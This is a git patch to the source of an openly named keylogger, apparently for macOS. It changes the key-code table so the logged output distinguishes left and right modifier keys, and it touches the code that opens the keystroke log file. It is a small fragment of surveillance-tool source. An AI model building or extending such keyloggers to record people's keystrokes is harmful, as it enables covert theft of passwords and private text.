From e687feb9462bd825064c1ff88d0492041bada074 Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Thu, 26 May 2016 17:46:26 -0400 Subject: [PATCH] Differentiate between left and right modifier keys. Resolves issue #6. --- keylogger.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/keylogger.c b/keylogger.c index bda4216..96f4b3c 100644 --- a/keylogger.c +++ b/keylogger.c @@ -35,7 +35,7 @@ int main(int argc, const char *argv[]) { // Get the current time and open the logfile. time_t result = time(NULL); logfile = fopen(logfileLocation, "a"); - + if (!logfile) { fprintf(stderr, "ERROR: Unable to open log file. Ensure that you have the proper permissions.\n"); exit(1); @@ -141,14 +141,15 @@ const char *convertKeyCode(int keyCode) { case 49: return " "; case 51: return "[del]"; case 53: return "[esc]"; - case 55: return "[cmd]"; - case 56: return "[shift]"; + case 54: return "[right-cmd]"; + case 55: return "[left-cmd]"; + case 56: return "[left-shift]"; case 57: return "[caps]"; - case 58: return "[option]"; - case 59: return "[ctrl]"; - case 60: return "[shift]"; - case 61: return "[option]"; - case 62: return "[ctrl]"; + case 58: return "[left-option]"; + case 59: return "[left-ctrl]"; + case 60: return "[right-shift]"; + case 61: return "[right-option]"; + case 62: return "[right-ctrl]"; case 63: return "[fn]"; case 64: return "[f17]"; case 72: return "[volup]";